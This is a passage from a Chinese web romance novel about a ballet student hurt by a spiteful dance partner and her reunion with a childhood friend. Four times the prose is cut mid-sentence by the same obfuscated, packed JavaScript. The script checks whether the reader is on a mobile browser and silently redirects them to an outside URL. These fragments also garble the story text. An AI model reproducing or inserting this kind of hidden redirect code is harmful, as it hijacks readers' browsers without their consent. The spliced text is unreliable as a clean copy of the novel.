那一刻,奈然看到了沈临枫霎那间盛满悲伤的眼,像是粼粼的湖泊表面,清澈却深不见底。 他的眼中似乎充满了诉说,然而嘴巴沉默不语。 奈然目不转睛地注视着他,生怕自己别开视线眼眶一酸又没出息的哭出来:“你没有错,你很好,是我不想和你继续了。” 这句话相当绝情,沈临枫再找不出任何理由挽留,他深呼吸着,吐息的时候胸腔微微颤抖:“我知道了,以后我不会再联系你,你回家吧。” “你不是忘拿钥匙了,要来我家坐一会儿吗?” 沈临枫摇头:“不用了,我妈他们就在附近的餐馆吃饭,我去找他们就好。” “好吧,那我先回去了。”奈然缓缓转过身,目光停留在沈临枫的脸上,直到不得不扭头离开。 她想逼着自己走快一点,可步伐似有千斤重。 她能感觉到沈临枫的视线追随,如芒在背,让她无处遁形。 就在她终于要走进楼道门内,隔绝灼热的视线时,身后传来沈临枫的声音。 “奈然,考试加油。” “你一定能实现你的梦想。” “……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003076|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 奈然几乎是跑着回到家,闷声不吭打开门反手关上,没有去开家里的灯,来到阳台上,从窗户往下正好能看到楼下的花圃。 沈临枫依旧站在灯下,低着头不知道在想些什么。 奈然扣在窗面的五指缓缓缩起,在对方抬起头望向窗户的瞬间,她的瞳孔瞬间收缩,心脏被狠狠攥紧。 她看到沈临枫哭泣的脸,神情却十分平静,就像是雨水滑过他的脸颊,被他抬起手尽数抹去,一如心底里的那份脆弱。 从小到大,奈然从来没有见过沈临枫哭,都是她难过的时候红着眼在无所不能的哥哥面前寻求安慰。 她曾经想象过很多次沈临枫哭泣时会是什么样子,会不会看起来很可怜,还是有点滑稽的模样,到那时候自己一定要模仿沈临枫平时对自己那样,将他揽入怀里轻轻拍拍背或者摸摸头,告诉他不要伤心。 没想到到头来,居然是她先把他弄哭了。 五分钟后,沈临枫从楼下离开了。 他的身影消失在了视野,奈然重新回到房间,将自己陷进柔软的被褥,从中汲取几分安全感,抚平她不安的心。 不知道躺了多久,奈然陷入了浅眠。 她梦到了许多场景,全是和沈临枫有关。 梦境中,她再一次见到了沈临枫流泪的模样,他什么都没说,垂着眼一个劲儿的掉眼泪。 明明应该是很伤心的事情,可奈然诡异地升起一股兴奋感,甚至想要双手捧起他的脸,盯着那双湿润漂亮的眼睛,让他哭得更厉害一点。 这种想法不断膨胀,就在奈然即将要这么做时,梦境尽数褪去,耳畔响起万玉玲的声音。 “然然,怎么还在睡?晚上别又起来熬夜!” 奈然睁开眼睛,看到万玉玲关心的脸。 “你看看,眼睛都睡肿了,快起来清醒清醒,给你带了好吃的。”万玉玲一边收拾着旁边的柜子,一边说道。 突然,她瞧见桌子上多出来的东西,好奇地问:“咦?这么漂亮的袋子,这是你买的东西吗?” 奈然揉了揉酸涩的眼睛,还在想着那个梦:“不是,沈临枫送的。” “小枫送你的?”万玉玲丝毫不惊讶,“小枫什么时候回来了,好久都没见你邀请人家来咱们家里坐坐,好歹你们从小一起玩到大……送你的什么?该不会是很贵的东西吧,他也才刚上大学,你收了人家的东西,记得要还回去知道吗。” “知道了。”奈然从床上下来,走到万玉玲身边,拿过桌子上的礼袋,掏出里面的盒子。 万玉玲站在原地没走,显然也想看看沈临枫送了什么礼物。 打开盒子,包装用心的雪梨纸上面静静躺着一张粉色的贺卡,上面印着一只白色的天鹅,散发出淡淡茉莉花香。 “还有贺卡呢,这么漂亮。”万玉玲笑了起来。 奈然将贺卡拿在手中,抿唇没有说话,继续拆开封装好的雪梨纸。 纸上的封口贴被撕掉,向外敞开,逐渐露出里面的物件。 “哎呦!”这回万玉玲是真的惊讶到了,“这看着可不便宜啊。” 盒子里赫然是一双足尖鞋,浅粉色的缎面泛着细腻的光泽,低调又典雅,鞋的后跟处有着颜色极淡的绣字,是奈然的名字缩写。 万玉玲也看到了上面的字母:“这是你的名字吗?” 奈然不语,双手轻轻捧起一只鞋。 半年前,她十八岁生日的时候,正好当时的舞鞋坏了,她拉着沈临枫一起去店里挑新的鞋,顺便量了尺寸,只不过定制鞋比成品鞋更贵,她虽然喜欢,但现在还不需要买这么贵的鞋。 没想到沈临枫居然记了下来。 “小枫真是有心了,下次见面,你也要送他点……然然,怎么哭了!?” “妈……”奈然一直强忍着的泪水如决堤般洒落,泣不成声地扑进万玉玲的怀里。 “好了好了,瞧把你感动的,一双鞋而已。”万玉玲轻声安慰道。 奈然埋在她的肩头摇了摇头,没有解释。 怎么会只是一双鞋呢。 这是承载着沈临枫爱意的真心,是自己无法说出口的少女心事,是支撑着她走向更大舞台的勇气。 5. 喜好 被奈然刻意埋藏的回忆,在见到沈临枫后,不自觉在脑海中复现,清晰仿佛昨日。 “抱歉,奈然。”沈临枫开口。 奈然回神,眼神流露些许疑惑,不明白他为什么要道歉。 “我不知道我妈会说这件事,浪费了你的时间,其实我没什么事,今天下午就会出院。” 闻言,奈然拧起了眉:“你现在这个样子,就要出院?” “有些……要紧事要做。” “什么要紧事能比健康还重要。”奈然说完,觉得自己说话有些重,放缓了语气:“有人照顾你吗?” “……有。” 奈然脱口而出:“哥哥,你知不知道你一撒谎,眼睛就会眨两下。” 语罢,不光是沈临枫愣住,就连奈然也是一怔,心道自己嘴怎么这么快,把心里话给讲出来了。 她立即找补:“你还是和以前一样呢。” 沈临枫眉眼染上笑意:“是吗?我觉得你倒是变了许多。” “真的吗?哪里变了?” “更稳重了,也不爱哭了。”沈临枫朝她眨眨眼睛。 奈然移开视线,装作不在意,耳尖却悄悄泛起粉红:“我什么时候爱哭了……对了,听我妈妈说你现在在云工大读研究生?还没有恭喜你呢,听说云工大的研究生招生数量特别少,工科天花板,不过对你来说肯定小菜一碟。” “我只是幸运,踩着线进来的。”沈临枫道,“你呢,大学生活怎么样?” 奈然扬起头:“还行吧,感觉没什么变化,每天不是在练习就是在练习的路上。” “你一直都很努力。”沈临枫笑道。 “不说这些了,你真的要下午就出院,有人来接你吗?你这样子不能长时间走路吧?在食堂里肯定挤不过别人,到时候连饭都抢不到。” 被她一连串的话逗笑,沈临枫的表情明朗了许多:“不会的,我在学校外面租了一间屋子,平时在家里做饭,出院后我直接打车回去就可以了。” 连奈然自己都没有注意到,在沈临枫面前,她总是有很多话想讲,就连表情都灵动许多,仿佛回到了年少相处的时候。 “这样啊。”奈然不再纠结,“你这些伤,要多久才能好?” “胳膊上是肌肉拉伤,没事的,腿上……大概要等两个月了。”沈临枫并不在意,“不过没关系,只少不是两条腿,不然我还要买个轮椅才行。” “说得也是。”奈然也笑了。在脑海里想象出类似的场景。 来之前预想之中的尴尬场景并没有发生,反倒让奈然因校庆排练而疲累的心情放松了不少。 哥哥果然还是哥哥,不管她说什么做什么,都不用在他面前掩饰或伪装。 他们接着聊了这两年来各自的生活,直到奈然忽然想起自己排练的事情,才匆匆准备离开。 “抱歉,我三点还有排练,必须先走了。” “嗯。”沈临枫看着焦急的少女,“你能来,我很高兴。” 奈然张了张嘴,不知道该怎么接话,只得点头:“这没什么。” 说完,她转过身,朝沈临枫挥挥手:“那我就先走啦,你注意安全。” 奈然离开之际,看着她的背影,沈临枫忽然有些不安,提高了声音喊她的名字:“奈然!” 奈然闻声转过头。 沈临枫抿唇,鼓起勇气询问:“你的联系方式变了吗?” 他们的消息停留在两年前,他无数次打开奈然的社交号码,却从未发过只言片语,害怕看见奈然已经把他删除掉,也害怕自己贸然打扰到她,对方的朋友圈也显示仅三天可见,没有发过任何东西。 奈然听懂他话中的深意,犹豫了一瞬。 理智告诉她,既然曾经已经做了选择,现在不该再走回头路,狠心一点对他们都好。 可对上他小心翼翼试探的视线,奈然怎么也说不出口。 “没变,从来没变。” * “奈奈——” “奈奈!” 饱含埋怨的呼唤让奈然猛然回神,她定了定心绪,看向撇着嘴闷闷不乐的穆淼淼:“怎么了?” “你在想谁呢——”穆淼淼盯着她,“这么入迷。” “没有。”奈然脸不红心不跳答道。 穆淼淼将信将疑:“你今天跑神的次数有点不正常,平时你最认真了!” “真的没有。” “好吧,信你一回,话说魏丰今天怎么回事,你们两个上午发生什么了吗,他从排练开始暗戳戳看你好几回了。”穆淼淼眯起眼睛模仿他的样子,“就像这样,斜着眼睛,好像你惹他了似的。” “不用管。”奈然不以为意。 “我跟你讲,有时候啊,男人的心眼可比你想象中还小。”穆淼淼凑近奈然的耳边,压低声音说道:“就我男朋友宿舍,听说他们居然会因为谁穿了什么牌子的衣服明嘲暗讽,我男朋友都说快受不了了,想搬出来住呢。” 说着,她叹了一口气,面露苦恼:“还说让我也搬出去住,可那样我岂不是和咱们宿舍脱节了,每天都要和他呆在一起,我的生活才不要全部被他挤占呢!” 奈然忍俊不禁:“谁说的,他占的可不少,你十句话八句不就在说他?” 穆淼淼一惊,捂住嘴:“你这么一说,好像是欸。不行不行,我要把他抛开,我可不想做大家口中的恋爱脑。男人,如衣服,姐妹,如手足!” “这可是你说的。”奈然乐不可支,伸手摸摸穆淼淼的头顶:“期待你的表现。” 穆淼淼挺起胸膛,忽然意识到自己又被带跑偏了:“怎么扯远了,不是在讲魏丰的事情吗,难道是奈然你已经拒绝他了?” “没什么别的,只是他中午邀请我吃饭,我有事拒绝了而已。” “就这样啊,那他这副苦大仇深的模样,不知道还以为你把他甩了呢!”穆淼淼义愤填膺,“长得帅又怎么样,人品才是最重要的。话说回来,奈奈,你肯定不是外貌协会。” 奈然扬起下巴,若有所思:“嗯……我应该是。” 要不然她为什么小时候一见到沈临枫就追着他喊哥哥。 “真的吗?那你的理想型到底是什么样的啊?” 理想型?奈然倒是从来没想过这个问题,仔细思索着,脑海里竟划过沈临枫的脸,她连忙打断想象。 “没有想过。” 穆淼淼目光如炬:“我才不信,就算长相想象不出来,性格总能说吧?高冷男、小奶狗、小狼狗,难道……你喜欢霸总类型的?” 奈然越听眉头蹙得越紧:“你这都是些什么选项。” “这可都是当下最流行的款!” “没兴趣。” 穆淼淼忿忿不平:“那你倒是说个有兴趣的。” 奈然还真的思考了起来:“温柔的,说话声音不大,爱干净,擅长厨艺?最好不会对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杨梦提高音量:“来,我们再合今天的最后一遍,全部都上点心,别再让我看到出错了!距离演出还剩不到两个星期,你们代表的不光是自己,更是云艺大的芭蕾表演系,很多前辈老师都在关注着,这也是你们的机会,以往的学校重要表演,有很多学表现出色的学生提前就接收到了各大舞团的邀请。” 这番话让疲惫的学生们瞬间提起了精神,纷纷开始热身。 看着斗志满满的学生,杨梦满意地点点头,瞄了一眼身旁的魏丰,知道他现在心情大概不怎么顺畅,无奈叹了口气,低声道:“不是谁针对你,魏丰,这是教委开会一致的决定,你也知道,有时候一场表演的好坏不在于演员的整体水平,而在于差距过于明显。” 见魏丰沉默不语,并没有因为她的安慰而心情好转,杨梦暗自摇摇头,觉得现在的年轻人还是心理承受能力太差,明明是自己的问题,不好好努力,还无法承担相应的后果。 昨天晚上教委组紧急开了会,说在今年的新生里面找到了比魏丰更好的王子饰演人选,如果这周末的联合排演没能让教委组的老师满意,恐怕魏丰的位置就要拱手让人了。 教委组说来说去,都是在讨论魏丰和奈然的水平差距太大,导致看起来相当不协调。 她将会议上的话稍加修饰告知了魏丰,目的在于警示,同时也是一个提醒,让他随时做好被换下来的心理准备。 如果他能够因此改变懒散的状态,努力追上奈然的进度,这是最好的结果。 可杨梦没有想到,她的好心之举竟起到了完全相反的作用。 6. 意外 随着第二幕的结束,灵动悠扬的小提琴齐奏戛然而至,奈然从奥杰塔的角色中脱离,摇身一变成为魔王之女奥吉莉亚,方才纯洁典雅的气质不复存在,她的眼神变得危险而充满欲望,每个动作一举一动皆是引诱,来到犹豫的齐格弗尔德王子面前。 大提琴与低音提琴并奏,由轻及重,悄无声息渗透进诡谲的舞会场景中,令整个氛围变得沉重而不可控。 齐格弗尔德王子看着眼前与自己心爱的奥杰塔面容相同的女孩,心中产生疑问和犹豫,一方面抗拒,一方面又不自觉被危险的奥吉莉亚所吸引。 站在教室一旁的杨梦静静望着这一幕,尽管已经看了数遍,每次还是会被奈然堪称完美的表现惊艳。 舞蹈合排没有灯光的辅助,没有华丽的妆容,也没有正式舞台时服装的变化,但奈然依然能将奥杰塔和奥吉莉亚截然不同的氛围演绎得淋漓尽致,上一秒纯真无暇,下一秒野心勃勃,高超的技巧与丰富的情感并存,引人入胜。 忽地,杨梦眉头一皱,忍不住想叹气。 相比之下,魏丰的表现简直一塌糊涂。 舞会的这一幕是《天鹅湖》的高潮部分,也是最具观赏性质的一段,奥吉莉亚的引诱和齐格弗尔德王子的动摇,他们之间的对抗与相融循序渐进,直到王子失去了坚定的忠心,被美丽神秘的奥吉莉亚所诱惑。 初见时,王子本该表现出无法自控的挣扎,魏丰却完全没有展示出这样的情绪,反倒一双眼睛紧盯着一步步靠近的奈然,居然有几分嫉恨。 看来魏丰恐怕与这次的舞台无缘了,杨梦心想。为了排练的完整性,她没有开口叫停。 大胆而直进的奥吉莉亚在王子面前展示着自己,毫不畏怯地站在舞会的最中央,在所有人的目光之下向着王子靠近,邀请他共舞。 奈然不觉有他,按照舞蹈情节和魏丰相互配合,在一套行云流水的快速旋转动作后,她脚尖轻点,轻盈一跃。 目光相视之间,她似乎在魏丰的眼中看到了某种阴暗的情绪,紧接着,腰部被对方的双手扶起,接下来是一个托举的旋转动作。 跃向空中的时候,腰部的力道忽然松懈一瞬,导致奈然的旋转动作没了唯一的支撑,重心偏移,几乎是摔落在地面上。 千钧一发之际,奈然伸出胳膊,在脚踝膝盖着地之前撑了一下,以此避开腿部受伤。 对于专业芭蕾舞者来说,但凡这两处受了任何一点伤,都有可能直接断送掉职业生涯。 即便如此,疼痛还是不可避免涌来,毕竟她整个人几乎从两米的高度摔下。 “天哪!” “奈然!” 看到这一幕的杨梦和其他同学纷纷发出惊呼,停止了自己的动作,穆淼淼更是一个箭步冲过来。 离她最近的魏丰蹲下身扶着她的肩膀,语气担忧:“奈然,你没事吧?!” 奈然想推开他,可是左手的手臂传来尖锐的痛感,让她额前冒出细密的冷汗。 大概是伤到了,奈然心想。 周围的人团团围了过来询问情况,也有人忍不住露出幸灾乐祸的表情,站在后面欣赏奈然难得的狼狈模样。 一旁的魏丰还在假惺惺地关怀:“你还能动吗,我……” 话说到一半,被一股大力推开,一屁股坐在了地上。 “起开啦你!”穆淼淼不知道哪里迸发出惊人的力量,一把将魏丰扯开,冲到奈然面前,哭丧着脸,想拉起奈然却又怕造成二次伤害:“奈奈你怎么样?哪里疼?能起来吗?” “你!”魏丰气急,被快步走过来的杨梦一个眼神止住了话音,愤愤起身,站到一边。 看着奈然被慢慢扶起依然紧皱眉头的模样,他心中得意。 没错,他就是故意的又怎么样。 没有他的配合托举,奈然也做不出那些高光动作,她应该感谢自己才对,凭什么一副高高在上的样子。 既然谁都说他配合不了奈然的表演,那干脆就让奈然先下场,看那些人还能说什么。 杨梦作为经验丰富的人,瞧见奈然的样子便知道她一定是受伤了,万幸的是受伤的位置在手臂,她和穆淼淼一起将奈然扶了起来,宣布先暂停合排,等群里通知。 将奈然送到校医院进行简单的检查后,医生告知了检查结果——轻微肌肉拉伤,短时间内不要再剧烈运动,尤其是受伤的左臂,校医室里用品不全,可以在校外的医药店买冰敷袋消肿。。 听到这个消息,穆淼淼和杨梦都松了一口气,反应最强烈的竟然是受伤的奈然。 “我现在已经没什么感觉了。”奈然试着屈肘,忍者丝丝的疼痛,脸上一派冷静,对杨梦说道:“老师,我休息半天就好,明天还可以照常参加排练。” “你……”杨梦刚想说不行,看到奈然眼底的恳求,怎么都讲不出重话,轻轻叹息:“先别动了,听医生的,别担心,你练的已经很好了,几天不去也没什么的。” 话是这样说,可奈然心知肚明,能在百年校庆表演的机会千载难逢,想要担任女主角的人数不胜数,竞争程度有多激烈可想而知,时间不会等她,一旦自己没能跟上,就会立马被替换掉。 现实就是如此残酷。 她为了这次的剧目付出了巨大的努力,几乎没日没夜地反复练习,怎么敢轻易懈怠。 “老师,真的没事,我今天会好好休息的。” “唉,我知道了,明天我看看情况再说吧。” 奈然朝杨梦露出一个明媚的笑容,仿佛伤痛对她来说根本不存在:“谢谢老师。” 看着奈然并没有因为受伤情绪产生较大的波动,杨梦松了口气,让穆淼淼照顾她回宿舍休息,随后便离开了校医室。 杨梦离开后,一直憋着不说话的穆淼淼终于爆发了,连珠炮似的:“幸好没有伤到脚,奈奈,你肯定很疼吧,都怪那个姓魏的,他是不是虚啊,一米八几的大男的,连你都举不动,他跳个*的舞啊,滚回家躺着喝奶吧,我@#¥*……” 奈然没说话,坐在旁边的校医先听不下去了,眼神警告:“同学,这里是校医室。” “啊哈哈,抱歉老师,激动了。”穆淼淼干笑了几声,不再口出狂言,轻声朝奈然道:“我们先回宿舍?” “好。”奈然点头。 回去的路上,穆淼淼又忍不住骂了魏丰一通,一边讲一边观察着奈然的表情,总觉得奈然平静得过了头。 如果这件事发生在自己身上,好不容易争取到的角色因为别人的失误丢掉,她肯定要嚎啕大哭一场,痛骂魏丰一天一夜,诅咒他走夜路掉下水道里面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003078|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奈然越是表现得平静,她就越是担心。 然而事实上,奈然的确没什么特别的情绪波动。 手臂上的肌肉拉伤,自从她四五岁开始学跳舞以来,不知道经历过多少次这样的事情。 只要没有伤到筋骨,对她来说都不是什么大事。 又不是不能跳了,只不过会痛一些而已。 只要忍耐下来,保持动作不变形,她有信心守好这次的表演机会。 至于魏丰…… 奈然当然知道他是故意的。 这种最简单的托举动作,根本没有任何其他技巧可言,就算一时失误,他的手臂也不该松开,导致她没有任何支撑点摔落。 除了故意而为没有别的解释。 相信老师也能看出来,只不过没有点明而已。 奈然自然不会主动说,这种事一旦先发制人,魏丰如果咬死不认说他不是故意的,自己反而会成不占理的那一方。 不过,她也不会忍气吞声。 奈然的宿舍是四人寝,除了奈然和穆淼淼以外,还有两个女生,其中一个是古典舞专业,和她们上课的时间不一样,另一个女生没有选上校庆的表演,正在努力备考国际芭蕾体系认证证书,为之后的出国留学做准备。 因此宿舍里除了夜晚睡觉,白天基本上聚不到一起,奈然和穆淼淼呆在一起的时间最长。 “小水,你还有事吧?不用陪我了,我在宿舍里休息就好。”回到宿舍,奈然对穆淼淼说道。 穆淼淼不愿意:“不行,你都受伤了,我怎么可以丢下你一个人出去。” “我又不是生病,没关系的,只要我不使劲,其实都不疼。” “可……”穆淼淼还想说什么,被响起的手机铃声打断,打开一看,是自家男朋友的电话,犹豫了一下,还是接通:“喂,干什么?” 另一边的男生被她硬邦邦的语气吓到:“又怎么了姐姐?我可什么都没干啊。” “有话快说,有屁快放。”穆淼淼毫不留情地说。 “好好好,你是不是快排练完了,我已经收拾好出门了,五分钟后再你学院门口接你。” “哎。”穆淼淼听他这样说,才想起来自己还没来得及跟男朋友讲奈然受伤的事情:“你不……” 刚想说她今天不能陪他出去,穆淼淼感觉手臂被谁轻轻扯了扯,转眼看去,奈然对他摇摇头,轻声道:“我没事的,你做你的事情,让我自己呆一会儿吧。” 看她的眼神不似违心,穆淼淼才意识到或许奈然真的是想自己呆一会儿,自己执意要陪伴反倒给奈然增加了负担。 “那……好吧。”穆淼淼松了口,转头对男朋友道:“我不在学院,你来宿舍找我吧。” “嗯?今天结束这么快,你又装病提前溜了?这次是头疼还是肚子疼?” 被男朋友揭穿黑历史,穆淼淼一阵脸热,咬牙切齿提高了音调:“周彦泽!” 他们交谈的内容全都被奈然听到,她忍俊不禁,嘴角上扬,觉得他们之间的相处模式很有趣。 日常拌了两句嘴,穆淼淼挂掉了电话:“他今天晚上约了找合租的人看房,让我陪他一起去呢,奈奈,那你好好休息,我回来给你带好吃的!” “嗯。”奈然点头,没再拒绝她的好意。 7. 偶遇 深秋时节,天色总是暗的很快,刚才还亮堂堂的宿舍,几分钟后便陷入模糊的昏暗。 奈然坐在自己的桌前,只打开了自己的台灯,照亮周围一隅。 穆淼淼一离开,宿舍里空气都变得静谧,偶尔会听到门外走廊有学生说说笑笑经过。 奈然用右手轻轻按压着左臂,拇指用力的时候会感觉到强烈的疼痛,但她却一声不吭,继续重复着动作。 她想试试自己究竟能忍到什么程度,或许提前适应这样的疼痛后,她就能重新加入排练,保证每个动作不受到影响。 也许这种想法有些天真,甚至称得上愚蠢,可奈然不想放弃。 云艺大的芭蕾舞表演专业作为A国最好的芭蕾舞专业,能考进来的学生哪个不是出类拔萃。 她从不觉得自己无可替代,所以她必须比别人加倍努力,才能得到想到的机会和成果。 只是这次的突发事件实在叫人堵心。 她可以坦然接受因为能力不足或者自己的失误被换下,却无论如何接受不了因为魏丰的蓄意报复而失去机会,这对她而言完全不公平。 十分钟后,奈然觉得自己差不多适应了肌肉拉伤所带来的疼痛,从凳子上站起身,试着跳《天鹅湖》剧目中最开始的舞蹈部分。 大多数人认为芭蕾的重心在脚步,甚至在足尖,只要能立足尖就算技艺高超,可立足尖的前提需要平稳的核心,同时不能缺少双臂维持平衡的动作。 奈然忍着持续不断的痛感,坚持跳了五分钟,最终在一次立足单脚跳跃的时候,因为手臂受限摆不开,落地时没能保持平衡,没有衔接上紧接着的动作。 虽然是很小的失误,换做外行人根本看不出来的问题,但她做不到忽视掉这个错误,重新站稳,从开头尝试跳第二遍。 这次,不管多痛,奈然都将手臂的动作做到最标准为止。 可在全剧目最难的部分,32圈挥鞭转上还是没能成功,提前落了脚。不光如此,手臂上的痛感因为活动更加剧烈。 昏暗之中,奈然握紧了右拳,既不甘又无奈,心道自己为什么连这点困难都克服不了。 第三遍、四遍、五遍…… 夜幕降临,窗外一片浓重的深蓝。 “呃!” 一个旋转没有站稳,奈然撞在了床边的梯子上,手臂不小心磕到,尖锐的痛感加剧。 她试着抬起手,发现自己的左手不停地颤抖,此刻连简单的挥手都做不出来,整个手臂外侧甚至肉眼能看到的肿胀。 奈然咬唇,不死心想最后再试一次。 刚准备动作,宿舍的门传来声响,有人在刷卡开门。 下一秒,门被推开,站在外面的女生被吓了一跳,伸手摁开灯,看清奈然后松了口气:“奈然,怎么不开灯,我还以为有人偷偷进来了呢。” 奈然垂下手,若无其事地回答:“刚睡醒,还没来得及开灯,你下课了?” 回来的女生是宿舍里唯一不同专业的祝银兰,虽然同在舞蹈学院,但上课的时间完全不一样,在宿舍之外很少能碰见,再加上奈然总喜欢泡在教室里,她们之间的关系并不亲密,仅限于表层上的友好往来。 以往这时候奈然都还在舞蹈教室里呆着,祝银岚朝宿舍里环顾了一圈,发现竟然只有奈然一个人在,莫名觉得有些尴尬:“淼淼没和你一起吗?” “她出去了。” “……哦,这样啊。”祝银兰点点头,后知后觉走了进来,忽然想起什么:“对了,我买了水果和酸奶,你要不要吃点?” “不用了。”奈然摇头,看出她的不自在,主动穿上外衣:“我去食堂吃,有什么需要我带的吗?” “没有啦,我等会可能还要回学院一趟。” “好。” 离开了宿舍,奈然并没有往食堂的方向走,她现在没什么食欲,手臂阵阵的疼让她心绪不宁,不免开始往不好的方面去想。 或许现在她应该想办法消除手臂上的肿胀,最起码明天在老师面前争取机会时表现得更有说服力一些。 这样想着,奈然改变了方向,朝通往校外的大门走去。 现在正处于下课时间,去校外吃晚餐的学生结伴而行,倒是挺热闹。 奈然记得东门外小吃街的旁边有一家药店,打算到那里看看有没有能消肿的冰贴。 刚走到校门前,手中的手机屏幕一亮,显示有新消息。 顺势点开一看,奈然猛地停下了脚步。 本以为是杨老师或者穆淼淼发来的消息,没想到却是意料之外的人。 对方的头像从没变过,和两年前一样是一张蓝天白鸽的风景图,甚至自己给他的备注也没有改过。 两年前他们分开后,奈然当时总是忍不住点进他的社交账号,只是后来发现什么都没有更新后,以为对方换掉了号码,便渐渐地不再关注。 现在熟悉的头像和称呼出现在屏幕上,让她有种恍若隔世的感觉。 从前的聊天记录早就随着手机更换不复存在,这是他们之间从现在开始的第一条消息。 奈然盯着这条消息看了许久,才缓缓用右手单指打字回复。 哥哥:已经办完出院手续回来了,谢谢你今天来看我。 然:腿上的伤还好吧? 哥哥:不碍事,用拐杖能正常行走。 然:嗯,好好修养,这种伤恢复的慢。 哥哥:好的,现在还在排练吗? 奈然望着屏幕上的话,沉吟片刻,决定隐瞒实情。 然:嗯,最近时间比较紧。 哥哥:抱歉耽误你的时间,好好练习,别太辛苦,注意身体。 奈然抿唇,回复过去。 然:知道了,你也是。 有些生硬的聊天就这样结束,奈然不知为何松了口气,继续往校外走去。 东门是学生们最爱去的地方,这里的一大片街区全部被商业化,改造成了各式各样的商铺,周围又聚集着好几所大学,夜晚的街道两侧人来人往。 出门走的急,奈然衬衫外面只套了一层风衣,夜晚的风一吹,袖管便渗入凉丝丝的空气。 她不由得加快步伐,找到最近的一家药店走了进去。 相对于其他门前排了长队的美食店,药店就显得冷清许多,只有一两个人在药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003079|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柜中间寻找。 店里的药师正整理身后的药架,听到声音后回头,朝奈然友好询问:“请问买什么药?” 奈然走近:“有冰贴吗?” “有的,是发烧了?还是那里受伤?” “手臂。” “好的。”药师点点头,带着她朝里面的药架走去,“咱们店里有两种不同的,尺寸和价格都不一样,您可以看看您要哪一种,手臂受伤的话,推荐您买大号的,这样能够完全包裹住受伤的部位。” 奈然点点头:“就要这个吧。” 在收银台结账时,门口再次传来声响,药师敏锐地抬起头:“你好,请问需要什么?” 奈然低着头结账,没有关注到身后的人,直到熟悉的声音在耳畔响起。 “有奥美拉唑吗?还有小瓶装的葡萄糖和生理盐水。” “有的,要什么样的?” 奈然有些不确定,觉得应该不会这么巧,可她对这道声音确确实实有着非同一般的灵敏认知。 犹豫了两秒钟的时间,药师已经领着人朝里面走去,等她转过头时,恰好能看到对方的背影。 果然,那人右腿上裹着石膏。 奈然想起自己刚刚才撒谎说还在排练,暗自庆幸沈临枫根本没看到自己,现在是开溜的最佳时机。 她不想让沈临枫知道自己受伤的事情,一方面出于某种自尊心,一方面出于怕让沈临枫担心。 虽然这种想法多多少少有些自作多情,但沈临枫就是这样的性格。 心思细腻,无微不至。 正准备离开药店时,沈临枫和药师的对话让她猛地站定在原地。 “这个牌子的药效比较快,如果现在不适感比较强烈,买这种会更好。” “有没有儿童用的那种,因为它现在怀着孕,我怕药性太强产生刺激,会影响到胎儿。” “有的,我给您找一下,这个口服液就是,不过您要注意用量。” “好的。” “那我给你结账,还有葡萄糖和生理盐水是吧,一共……” 后面他们说了什么,奈然通通听不进去,脑海里只回荡着两个字。 怀孕? 怀孕!? 谁怀孕?总不可能是沈临枫吧? 除了他,那会是谁?能让沈临枫替她来买药。 奈然觉得自己有些混乱,一股无名之火在心中窜起。 刚刚还在手机里问的那样恳切,现在出现在药店给一个怀孕的女生买药? 他们之间是什么关系,难道…… 愤怒过后,取而代之的是难以自控的悲伤。 她又有什么立场生气呢?她和沈临枫现在不过是比陌生人稍微好一点的关系,连朋友都算不上,沈临枫和谁交往,又和谁发生什么,她一律管不着。 她现在更应该关心的,是自己究竟还能不能在校庆上表演,明天去教室的时候,能不能完整地把剧目跳完,保留住自己的角色。 至于其他的事情,都与她无关。 奈然目色晦暗,回首默默看了一眼正在结账的沈临枫,最终什么也没有说,转身跨步离开。 8. 合租 东门外小吃街的尽头,周彦泽一脸无奈,看着身边正拿着烤串吃得津津有味的女友:“昨天不是刚说要减肥,谁再贪吃谁是狗吗?你哪怕坚持三天也行呢。” “你懂个毛线。”穆淼淼白了他一眼,晃晃手中的竹签:“烤玉米、烤豆腐、烤面筋,全素,看到没有?” “你就自欺欺人吧,过两天又要鬼哭狼嚎,说自己胖的没人样了。” 穆淼淼气得踢他一脚:“就你话多。” 周彦泽灵活躲开,冲她贱兮兮挑了下眉,话音一转:“话说你真不和我出来一起住?找合租实在是太麻烦了,没一个满意的,单租又太贵。” 